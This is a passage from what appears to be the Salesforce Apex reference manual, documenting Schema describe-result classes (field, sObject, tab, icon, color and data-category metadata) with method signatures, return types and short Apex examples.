starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
colorResultObj.color is equivalent to colorResultObj.getColor().

Example
This sample shows how to get the color information in the Sales app for the first tabs first color.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.DescribeTabs();
// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
// Display tab info for the Sales app
if (tsr.getLabel() == 'Sales') {
// Get color information for the first tab
List<Schema.DescribeColorResult> colorDesc = tsr.getTabs()[0].getColors();
// Display the icon color, theme, and context of the first color returned
System.debug('Color: ' + colorDesc[0].getColor());
System.debug('Theme: ' + colorDesc[0].getTheme());
System.debug('Context: ' + colorDesc[0].getContext());
}
}
//
//
//
//

Example debug statement output

DEBUG|Color: 1797C0
DEBUG|Theme: theme4
DEBUG|Context: primary

DescribeColorResult Methods
The following are methods for DescribeColorResult. All are instance methods.
IN THIS SECTION:
getColor()
Returns the Web RGB color code, such as 00FF00.

1854

Reference

DescribeDataCategoryGroupResult Class

getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.
getTheme()
Returns the color theme.

getColor()
Returns the Web RGB color code, such as 00FF00.

Signature
public String getColor()

Return Value
Type: String

getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.

Signature
public String getContext()

Return Value
Type: String

getTheme()
Returns the color theme.

Signature
public String getTheme()

Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
theme3 is the Salesforce theme introduced during Spring 10.
theme4 is the Salesforce theme introduced in Winter 14 for the mobile touchscreen version of Salesforce.
custom is the theme name associated with a custom icon.

DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.

1855

Reference

DescribeDataCategoryGroupResult Class

Namespace
Schema

Usage
The describeDataCategoryGroups method returns a Schema.DescribeDataCategoryGroupResult object
containing the list of the category groups associated with the specified object.
For additional information and code examples using describeDataCategoryGroups, see Accessing All Data Categories
Associated with an sObject.

Example
The following is an example of how to instantiate a data category group describe result object:
List <String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
Schema.describeDataCategoryGroups(objType);

DescribeDataCategoryGroupResult Methods
The following are methods for DescribeDataCategoryGroupResult. All are instance methods.
IN THIS SECTION:
getCategoryCount()
Returns the number of visible data categories in the data category group.
getDescription()
Returns the description of the data category group.
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category group.
getSobject()
Returns the object name associated with the data category group.

getCategoryCount()
Returns the number of visible data categories in the data category group.

Signature
public Integer getCategoryCount()

1856

Reference

DescribeDataCategoryGroupResult Class

Return Value
Type: Integer

getDescription()
Returns the description of the data category group.

Signature
public String getDescription()

Return Value
Type: String

getLabel()
Returns the label for the data category group used in the Salesforce user interface.

Signature
public String getLabel()

Return Value
Type: String

getName()
Returns the unique name used by the API to access to the data category group.

Signature
public String getName()

Return Value
Type: String

getSobject()
Returns the object name associated with the data category group.

Signature
public String getSobject()

Return Value
Type: String

1857

Reference

DescribeDataCategoryGroupStructureResult Class

DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.

Namespace
Schema

Usage
The describeDataCategoryGroupStructures method returns a list of Schema.Describe
DataCategoryGroupStructureResult objects containing the category groups and categories associated with the specified
object.
For additional information and code examples, see Accessing All Data Categories Associated with an sObject.

Example
The following is an example of how to instantiate a data category group structure describe result object:
List <DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
DataCategoryGroupSobjectTypePair pair1 =
new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');
DataCategoryGroupSobjectTypePair pair2 =
new DataCategoryGroupSobjectTypePair();
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');
pairs.add(pair1);
pairs.add(pair2);
List<Schema.DescribeDataCategoryGroupStructureResult>results =
Schema.describeDataCategoryGroupStructures(pairs, true);

DescribeDataCategoryGroupStructureResult Methods
The following are methods for DescribeDataCategoryGroupStructureResult. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the description of the data category group.
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category group.

1858

Reference

DescribeDataCategoryGroupStructureResult Class

getSobject()
Returns the name of object associated with the data category group.
getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.

getDescription()
Returns the description of the data category group.

Signature
public String getDescription()

Return Value
Type: String

getLabel()
Returns the label for the data category group used in the Salesforce user interface.

Signature
public String getLabel()

Return Value
Type: String

getName()
Returns the unique name used by the API to access to the data category group.

Signature
public String getName()

Return Value
Type: String

getSobject()
Returns the name of object associated with the data category group.

Signature
public String getSobject()

1859

Reference

DescribeFieldResult Class

Return Value
Type: String

getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.

Signature
public List<Schema.DataCategory> getTopCategories()

Return Value
Type: List<Schema.DataCategory>

Usage
For more information on data category group visibility, see Data Category Visibility in the Salesforce online help.

DescribeFieldResult Class
Contains methods for describing sObject fields.

Namespace
Schema

Example
The following is an example of how to instantiate a field describe result object:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();

DescribeFieldResult Methods
The following are methods for DescribeFieldResult. All are instance methods.
IN THIS SECTION:
getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.
getCalculatedFormula()
Returns the formula specified for this field.
getController()
Returns the token of the controlling field.
getDefaultValue()
Returns the default value for this field.

1860

Reference

DescribeFieldResult Class

getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.
getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.
getInlineHelpText()
Returns the content of the field-level help.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.
getName()
Returns the field name used in Apex.
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.
getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the
right of the decimal point (but excluding the decimal point character).
getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the
child external object's indirect lookup relationship field. The match is done to determine which records are related to each other.
getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.
getRelationshipName()
Returns the name of the relationship.
getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.
getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal
point are truncated.
getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.
getSObjectField()
Returns the token for this field.
getType()
Returns one of the DisplayType enum values, depending on the type of field.
isAccessible()
Returns true if the current user can see this field, false otherwise.

1861

Reference

DescribeFieldResult Class

isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.
isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.
isCreateable()
Returns true if the field can be created by the current user, false otherwise.
isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.
isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.
isExternalID()
Returns true if the field is used as an external ID, false otherwise.
isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.
isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only
available for Apex classes and triggers saved using API version 18.0 and higher.
isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has
an IMAGE text function.
isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.
isNameField()
Returns true if the field is a name field, false otherwise.
isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead
ID (WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of
those objects can be the parent of a particular task record. This method returns false otherwise.
isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a
value for the object to be created or saved.

1862

Reference

DescribeFieldResult Class

isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise
isSortable()
Returns true if a query can sort on the field, false otherwise
isUnique()
Returns true if the value for the field must be unique, false otherwise
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object
can be reparented to different parent records; false otherwise.
isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.

getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.

Signature
public Integer getByteLength()

Return Value
Type: Integer

getCalculatedFormula()
Returns the formula specified for this field.

Signature
public String getCalculatedFormula()

Return Value
Type: String

getController()
Returns the token of the controlling field.

Signature
public Schema.sObjectField getController()

1863

Reference

DescribeFieldResult Class

Return Value
Type: Schema.SObjectField

getDefaultValue()
Returns the default value for this field.

Signature
public Object getDefaultValue()

Return Value
Type: Object

getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.

Signature
public String getDefaultValueFormula()

Return Value
Type: String

getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.

Signature
public Integer getDigits()

Return Value
Type: Integer

getInlineHelpText()
Returns the content of the field-level help.

Signature
public String getInlineHelpText()

Return Value
Type: String

1864

Reference

DescribeFieldResult Class

Usage
For more information, see Define Field-Level Help in the Salesforce online help.

getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.

Signature
public String getLabel()

Return Value
Type: String

Usage
Note: For the Type field on standard objects, getLabel returns a label different from the default label. It returns a label of the
form Object Type, where Object is the standard object label. For example, for the Type field on Account, getLabel returns
Account Type instead of the default label Type. If the Type label is renamed, getLabel returns the new label. You can
check or change the labels of all standard object fields from Setup by entering Rename Tabs and Labels in the Quick
Find box, then selecting Rename Tabs and Labels.

getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).

Signature
public Integer getLength()

Return Value
Type: Integer

getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.

Signature
public String getLocalName()

Return Value
Type: String

1865

Reference

DescribeFieldResult Class

getName()
Returns the field name used in Apex.

Signature
public String getName()

Return Value
Type: String

getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.

Signature
public List<Schema.PicklistEntry> getPicklistValues()

Return Value
Type: List<Schema.PicklistEntry>

getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right
of the decimal point (but excluding the decimal point character).

Signature
public Integer getPrecision()

Return Value
Type: Integer

getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child
external object's indirect lookup relationship field. The match is done to determine which records are related to each other.

Signature
public String getReferenceTargetField()

Return Value
Type: String

1866

Reference

DescribeFieldResult Class

Usage
For information about indirect lookup relationships, see Indirect Lookup Relationship Fields on External Objects in the Salesforce Help.

getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.

Signature
public List <Schema.sObjectType> getReferenceTo()

Return Value
Type: List<Schema.sObjectType>

getRelationshipName()
Returns the name of the relationship.

Signature
public String getRelationshipName()

Return Value
Type: String

Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.

getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.

Signature
public Integer getRelationshipOrder()

Return Value
Type: Integer

Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.

1867

Reference

DescribeFieldResult Class

getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point
are truncated.

Signature
public Integer getScale()

Return Value
Type: Integer

Usage
This method returns a fault response if the number has too many digits to the left of the decimal point.

getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.

Signature
public Schema.SOAPType getSOAPType()

Return Value
Type: Schema.SOAPType

getSObjectField()
Returns the token for this field.

Signature
public Schema.sObjectField getSObjectField()

Return Value
Type: Schema.SObjectField

getType()
Returns one of the DisplayType enum values, depending on the type of field.

Signature
public Schema.DisplayType getType()

1868

Reference

DescribeFieldResult Class

Return Value
Type: Schema.DisplayType

isAccessible()
Returns true if the current user can see this field, false otherwise.

Signature
public Boolean isAccessible()

Return Value
Type: Boolean

isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.

Signature
public Boolean isAutoNumber()

Return Value
Type: Boolean

Usage
Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters.
Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or
invoice number). Auto Number fields are configured entirely in the Salesforce user interface.

isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.

Signature
public Boolean isCalculated()

Return Value
Type: Boolean

isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.

1869

Reference

DescribeFieldResult Class

Signature
public Boolean isCascadeDelete()

Return Value
Type: Boolean

isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.

Signature
public Boolean isCaseSensitive()

Return Value
Type: Boolean

isCreateable()
Returns true if the field can be created by the current user, false otherwise.

Signature
public Boolean isCreateable()

Return Value
Type: Boolean

isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.

Signature
public Boolean isDefaultedOnCreate()

1870

Reference

DescribeFieldResult Class

Return Value
Type: Boolean

Usage
If this method returns true, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is
not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived
from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the
Owner field is not specified).

isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.

Signature
public Boolean isDependentPicklist()

Return Value
Type: Boolean

isDeprecatedAndHidden()
Reserved for future use.

Signature
public Boolean isDeprecatedAndHidden()

Return Value
Type: Boolean

isExternalID()
Returns true if the field is used as an external ID, false otherwise.

Signature
public Boolean isExternalID()

Return Value
Type: Boolean

isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.

1871

Reference

DescribeFieldResult Class

Signature
public Boolean isFilterable()

Return Value
Type: Boolean

isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only available
for Apex classes and triggers saved using API version 18.0 and higher.

Signature
public Boolean isGroupable()

Return Value
Type: Boolean

isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an
IMAGE text function.

Signature
public Boolean isHtmlFormatted()

Return Value
Type: Boolean

isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.

Signature
public Boolean isIdLookup()

Return Value
Type: Boolean

isNameField()
Returns true if the field is a name field, false otherwise.

1872

Reference

DescribeFieldResult Class

Signature
public Boolean isNameField()

Return Value
Type: Boolean

Usage
This method is used to identify the name field for standard objects (such as AccountName for an Account object) and custom objects.
Objects can only have one name field, except where the FirstName and LastName fields are used instead (such as on the Contact
object).
If a compound name is present, for example, the Name field on a person account, isNameField is set to true for that record.

isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID
(WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of those objects
can be the parent of a particular task record. This method returns false otherwise.

Signature
public Boolean isNamePointing()

Return Value
Type: Boolean

isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a value
for the object to be created or saved.

Signature
public Boolean isNillable()

Return Value
Type: Boolean

isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.

Signature
public Boolean isPermissionable()

1873

Reference

DescribeFieldResult Class

Return Value
Type: Boolean

isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.

Signature
public Boolean isRestrictedDelete()

Return Value
Type: Boolean

isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise

Signature
public Boolean isRestrictedPicklist()

Return Value
Type: Boolean

isSortable()
Returns true if a query can sort on the field, false otherwise

Signature
public Boolean isSortable()

Return Value
Type: Boolean

isUnique()
Returns true if the value for the field must be unique, false otherwise

Signature
public Boolean isUnique()

Return Value
Type: Boolean

1874

Reference

DescribeIconResult Class

isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object can
be reparented to different parent records; false otherwise.

Signature
public Boolean isUpdateable()

Return Value
Type: Boolean

isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.

Signature
public Boolean isWriteRequiresMasterRead()

Return Value
Type: Boolean

DescribeIconResult Class
Contains icon metadata information for a tab.

Namespace
Schema

Usage
The getIcons method of the Schema.DescribeTabResult class returns a list of Schema.DescribeIconResult
objects that describe colors used in a tab.
The methods in the Schema.DescribeIconResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
iconResultObj.url is equivalent to iconResultObj.getUrl().

Example
This sample shows how to get the icon information in the Sales app for the first tabs first icon.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {

1875

Reference

DescribeIconResult Class

// Get tab info for the Sales app

if (tsr.getLabel() == 'Sales') {
// Get icon information for the first tab
List<Schema.DescribeIconResult> iconDesc = tsr.getTabs()[0].getIcons();
// Display the icon height and width of the first icon
System.debug('Height: ' + iconDesc[0].getHeight());
System.debug('Width: ' + iconDesc[0].getWidth());
}
}
// Example debug statement output
// DEBUG|Height: 32
// DEBUG|Width: 32

DescribeIconResult Methods
The following are methods for DescribeIconResult. All are instance methods.
IN THIS SECTION:
getContentType()
Returns the tab icons content type, such as image/png.
getHeight()
Returns the tab icons height in pixels.
getTheme()
Returns the tabs icon theme.
getUrl()
Returns the tabs icon fully qualified URL.
getWidth()
Returns the tabs icon width in pixels.

getContentType()
Returns the tab icons content type, such as image/png.

Signature
public String getContentType()

Return Value
Type: String

getHeight()
Returns the tab icons height in pixels.

1876

Reference

DescribeIconResult Class

Signature
public Integer getHeight()

Return Value
Type: Integer

Usage
Note: If the icon content type is SVG, the icon wont have a size and its height is zero.

getTheme()
Returns the tabs icon theme.

Signature
public String getTheme()

getUrl()
Returns the tabs icon fully qualified URL.

Signature
public String getUrl()

Return Value
Type: String

getWidth()
Returns the tabs icon width in pixels.

Signature
public Integer getWidth()

1877

Reference

DescribeSObjectResult Class

Return Value
Type: Integer

Usage
Note: If the icon content type is SVG, the icon wont have a size and its width is zero.

DescribeSObjectResult Class
Contains methods for describing sObjects.

Namespace
Schema

Usage
None of the methods take an argument.

DescribeSObjectResult Methods
The following are methods for DescribeSObjectResult. All are instance methods.
IN THIS SECTION:
fields()
Returns a special data type that should not be used by itself. Instead, fields should always be followed by either a field member
variable name or the getMap method.
fieldSets()
Returns a special data type that should not be used by itself. Instead, fieldSets should always be followed by either a field set
name or the getMap method.
getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.
getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of
the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).
getLabel()
Returns the object's label, which may or may not match the object name.
getLabelPlural()
Returns the object's plural label, which may or may not match the object name.
getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the
namespace portion of the name is omitted.
getName()
Returns the name of the object.

1878

Reference

DescribeSObjectResult Class

getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it
in this list.
getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record
type to see it in this map.
getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record
type to see it in this map.
getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.
isAccessible()
Returns true if the current user can see this object, false otherwise.
isCreateable()
Returns true if the object can be created by the current user, false otherwise.
isCustom()
Returns true if the object is a custom object, false if it is a standard object.
isCustomSetting()
Returns true if the object is a custom setting, false otherwise.
isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.
isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and
triggers saved using SalesforceAPI version 19.0 and later.
isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned
for leads, contacts, and accounts.
isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.
isQueryable()
Returns true if the object can be queried by the current user, false otherwise
isSearchable()
Returns true if the object can be searched by the current user, false otherwise.
isUndeletable()
Returns true if the object cannot be undeleted by the current user, false otherwise.
isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.

1879

Reference

DescribeSObjectResult Class

fields()
Returns a special data type that should not be used by itself. Instead, fields should always be followed by either a field member
variable name or the getMap method.

Signature
public Schema.SObjectTypeFields fields()

Return Value
Type: Schema.SObjectTypeFields
The return value is a special data type that should not be used by itself.

Usage
Note: When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned
regardless of the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent
API version, components of a geolocation field are returned even if the class is saved in an earlier API version.
For more information, see Understanding Apex Describe Information.

Example
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;

fieldSets()
Returns a special data type that should not be used by itself. Instead, fieldSets should always be followed by either a field set name
or the getMap method.

Signature
public Schema.SObjectTypeFields fieldSets()

Return Value
Type: Schema.SObjectTypeFields
The return value is a special data type that should not be used by itself.

Example
Schema.DescribeSObjectResult d =
Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap =
d.fieldSets.getMap();

getChildRelationships()
Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described.

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Reference

DescribeSObjectResult Class

Signature
public Schema.ChildRelationship getChildRelationships()

Return Value
Type: List<Schema.ChildRelationship>

Example
For example, the Account object includes Contacts and Opportunities as child relationships.

getKeyPrefix()
Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the
object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006).

Signature
public String getKeyPrefix()

Return Value
Type: String

Usage
The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or
predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure
forward compatibility.

getLabel()
Returns the object's label, which may or may not match the object name.

Signature
public String getLabel()

Return Value
Type: String

Usage
The object's label might not always match the object name. For example, an organization in the medical industry might change the
label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.

getLabelPlural()
Returns the object's plural label, which may or may not match the object name.

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Reference

DescribeSObjectResult Class

Signature
public String getLabelPlural()

Return Value
Type: String

Usage
The object's plural label might not always match the object name. For example, an organization in the medical industry might change
the plural label for Account to Patients. This label is then used in the Salesforce user interface. See the Salesforce online help for more
information.

getLocalName()
Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace
portion of the name is omitted.

Signature
public String getLocalName()

Return Value
Type: String

getName()
Returns the name of the object.

Signature
public String getName()

Return Value
Type: String

getRecordTypeInfos()
Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in
this list.

Signature
public List<Schema.RecordTypeInfo> getRecordTypeInfos()

Return Value
Type: List<Schema.RecordTypeInfo>

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Reference

DescribeSObjectResult Class

getRecordTypeInfosById()
Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type
to see it in this map.

Signature
public Schema.RecordTypeInfo getRecordTypeInfosById()

Return Value
Type: Map<ID, Schema.RecordTypeInfo>

getRecordTypeInfosByName()
Returns a map that matches record labels to their associated record type. The current user is not required to have access to a record type
to see it in this map.

Signature
public Schema.RecordTypeInfo getRecordTypeInfosByName()

Return Value
Type: Map<String, Schema.RecordTypeInfo>

getSobjectType()
Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject.

Signature
public Schema.SObjectType getSobjectType()

Return Value
Type: Schema.SObjectType

isAccessible()
Returns true if the current user can see this object, false otherwise.

Signature
public Boolean isAccessible()

Return Value
Type: Boolean

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Reference

DescribeSObjectResult Class

isCreateable()
Returns true if the object can be created by the current user, false otherwise.

Signature
public Boolean isCreateable()

Return Value
Type: Boolean

isCustom()
Returns true if the object is a custom object, false if it is a standard object.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

isCustomSetting()
Returns true if the object is a custom setting, false otherwise.

Signature
public Boolean isCustomSetting()

Return Value
Type: Boolean

isDeletable()
Returns true if the object can be deleted by the current user, false otherwise.

Signature
public Boolean isDeletable()

Return Value
Type: Boolean

isDeprecatedAndHidden()
Reserved for future use.

1884

Reference

DescribeSObjectResult Class

Signature
public Boolean isDeprecatedAndHidden()

Return Value
Type: Boolean

isFeedEnabled()
Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers
saved using SalesforceAPI version 19.0 and later.

Signature
public Boolean isFeedEnabled()

Return Value
Type: Boolean

isMergeable()
Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for
leads, contacts, and accounts.

Signature
public Boolean isMergeable()

Return Value
Type: Boolean

isMruEnabled()
Returns true if Most Recently Used (MRU) list functionality is enabled for the object, false otherwise.

Signature
public Boolean isMruEnabled()

Return Value
Type: Boolean

isQueryable()
Returns true if the object can be queried by the current user, false otherwise

1885

Reference

DescribeTabResult Class

Signature
public Boolean isQueryable()

Return Value
Type: Boolean

isSearchable()
Returns true if the object can be searched by the current user, false otherwise.

Signature
public Boolean isSearchable()

Return Value
Type: Boolean

isUndeletable()
Returns true if the object cannot be undeleted by the current user, false otherwise.

Signature
public Boolean isUndeletable()

Return Value
Type: Boolean

isUpdateable()
Returns true if the object can be updated by the current user, false otherwise.

Signature
public Boolean isUpdateable()

Return Value
Type: Boolean

DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.

Namespace
Schema

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Reference

DescribeTabResult Class

Usage
The getTabs method of the Schema.DescribeTabSetResult returns a list of Schema.DescribeTabResult objects
that describe the tabs of one app.
The methods in the Schema.DescribeTabResult class can be called using their property counterparts. For each method starting
with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
tabResultObj.label is equivalent to tabResultObj.getLabel(). Similarly, for each method starting with is, omit
the is prefix and the ending parentheses (). For example, tabResultObj.isCustom is equivalent to
tabResultObj.custom.

DescribeTabResult Methods
The following are methods for DescribeTabResult. All are instance methods.
IN THIS SECTION:
getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.
getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to
the heading at the top of most pages.
getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.
getLabel()
Returns the display label of this tab.
getMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears
in related lists and other locations.
getSobjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).
getUrl()
Returns a fully qualified URL for viewing this tab.
isCustom()
Returns true if this is a custom tab, or false if this is a standard tab.

getColors()
Returns a list of color metadata information for all colors associated with this tab. Each color is associated with a theme and context.

Signature
public List<Schema.DescribeColorResult> getColors()

Return Value
Type: List<Schema.DescribeColorResult>

1887

Reference

DescribeTabResult Class

getIconUrl()
Returns the URL for the main 32 x 32-pixel icon for a tab. This icon corresponds to the current theme (theme3) and appears next to the
heading at the top of most pages.

Signature
public String getIconUrl()

Return Value
Type: String

getIcons()
Returns a list of icon metadata information for all icons associated with this tab. Each icon is associated with a theme and context.

Signature
public List<Schema.DescribeIconResult> getIcons()

Return Value
Type: List<Schema.DescribeIconResult>

getLabel()
Returns the display label of this tab.

Signature
public String getLabel()

Return Value
Type: String

getMiniIconUrl()
Returns the URL for the 16 x 16-pixel icon that represents a tab. This icon corresponds to the current theme (theme3) and appears in
related lists and other locations.

Signature
public String getMiniIconUrl()

Return Value
Type: String

1888

Reference

DescribeTabSetResult Class

getSobjectName()
Returns the name of the sObject that is primarily displayed on this tab (for tabs that display a particular SObject).

Signature
public String getSobjectName()

Return Value
Type: String

getUrl()
Returns a fully qualified URL for viewing this tab.

Signature
public String getUrl()

Return Value
Type: String

isCustom()
Returns true if this is a custom tab, or false if this is a standard tab.

Signature
public Boolean isCustom()

Return Value
Type: Boolean

DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.

Namespace
Schema

Usage
The Schema.describeTabs method returns a list of Schema.DescribeTabSetResult objects that describe standard
and custom apps.
The methods in the Schema.DescribeTabSetResult class can be called using their property counterparts. For each method
